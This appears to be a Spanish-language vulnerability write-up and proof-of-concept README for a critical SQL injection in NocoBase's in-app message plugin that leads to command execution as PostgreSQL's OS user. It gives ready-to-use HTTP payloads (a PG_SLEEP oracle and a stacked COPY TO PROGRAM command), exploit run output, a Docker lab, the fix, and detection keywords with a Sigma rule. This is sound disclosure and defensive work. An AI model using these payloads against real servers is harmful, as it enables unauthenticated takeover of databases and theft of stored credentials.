
CVE-2026-52887 — Inyección SQL en NocoBase -> RCE como superusuario de PostgreSQL (filtro myInAppChannels:list, CVSS 10.0). PoC del autor + análisis de código fuente + laboratorio Docker.
Inyección SQL en la acción myInAppChannels:list del plugin @nocobase/plugin-notification-in-app-message de NocoBase (≤ 2.0.60). El parámetro de solicitud filter[latestMsgReceiveTimestamp][$lt] se interpola directamente en una cadena SQL cruda de Sequelize.literal() sin escape ni enlazado de parámetros. Mediante el soporte de sentencias apiladas del driver pg de PostgreSQL, la inyección alcanza COPY … TO PROGRAM y, debido a que el compose predeterminado del proveedor crea el rol nocobase de la base de datos como superusuario, esto permite la ejecución de comandos de shell como el usuario postgres del sistema operativo. El endpoint requiere un usuario autenticado, pero el plugin auth-basic predeterminado incluye el auto-registro habilitado, por lo que cualquier visitante anónimo puede registrarse y acceder a él.
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, manejador myInAppChannels:list (2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
filter.latestMsgReceiveTimestamp.$lt proviene directamente de la consulta de la solicitud (filter[latestMsgReceiveTimestamp][$lt]=…) y se concatena en un Sequelize.literal() — SQL crudo, sin enlazado de parámetros, sin coerción de tipos. Un atacante cierra la comparación y añade SQL arbitrario.
pg, que permite sentencias apiladas (… ; …). El fragmento inyectado añade una segunda sentencia.docker-compose.yml predeterminado del proveedor crea el rol nocobase mediante POSTGRES_USER de la imagen de postgres, que es siempre un superusuario.COPY (…) TO PROGRAM '<shell>', ejecutando <shell> como el usuario postgres del sistema operativo dentro del contenedor de la base de datos.La ACL de myInAppChannels es loggedIn, pero el plugin auth-basic predeterminado viene con allowSignUp: true. Un atacante anónimo se auto-registra (POST /api/auth:signUp?authenticator=basic), inicia sesión para obtener un token bearer y continúa — por lo que en una instalación predeterminada esto no requiere autenticación en la práctica.
defineMyInAppChannels.ts añade parseLatestMsgReceiveTimestampLt(), que fuerza el valor a través de Number() (rechazando entradas no finitas / no numéricas con un 400) y cambia a una comparación enlazada:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Cadena HTTP cruda:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
--cmd acepta cualquier comando de shell (reverse shell, callback OAST, lectura de filas de la base de datos mediante COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', etc.).
No hay puente docker en este host, así que ejecute ambos contenedores con red de host (host networking):
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
Límite de la versión corregida (rechazada):
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200
Consulte EVIDENCE.txt para ver la transcripción capturada y ANALYSIS.md para el análisis a nivel de código fuente.
VULNERABLE CONFIRMADO en nocobase/nocobase:2.0.57, verificado mediante dos técnicas independientes:
PG_SLEEP(5) retrasa la respuesta ~5.0s mientras que una solicitud idéntica sin el sleep devuelve ~0.03s en el mismo endpoint (descarta un limitador de velocidad / artefacto de reintento).uid=999(postgres) gid=999(postgres), la salida real de id(1) ejecutado como el usuario postgres del sistema operativo, no un eco del payload.CORREGIDO en nocobase/nocobase:2.0.61 — ambos payloads devuelven HTTP 400 mientras que un $lt numérico sigue devolviendo 200.
Ejecución remota de código como el usuario postgres del sistema operativo dentro del contenedor de la base de datos: lectura/escritura completa de la base de datos de NocoBase, divulgación de todos los secretos y credenciales de usuario almacenados, y un punto de apoyo para el movimiento lateral. Alcanzable por cualquier visitante anónimo en una instalación predeterminada.
COPY … TO PROGRAM).allowSignUp: false) donde no sea necesario.Solicitudes myInAppChannels:list cuyo valor de filter[latestMsgReceiveTimestamp][$lt] no sea un número simple, y registros de PostgreSQL que contengan COPY … TO PROGRAM:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma (log de acceso del servidor web):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).
| CVE | CVE-2026-52887 |
| Producto | NocoBase (@nocobase/plugin-notification-in-app-message) |
| Afectado | ≤ 2.0.60 (verificado en nocobase/nocobase:2.0.57) |
| Corregido | 2.0.61 |
| Clase | Inyección SQL (CWE-89) → ejecución de comandos del sistema operativo |
| CVSS 3.1 | 10.0 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (CNA de GitHub) |
| Autenticación | Efectivamente sin autenticación — auth-basic predeterminado con allowSignUp: true |
| Estado | VULNERABLE CONFIRMADO — verificado de extremo a extremo en 2.0.57 |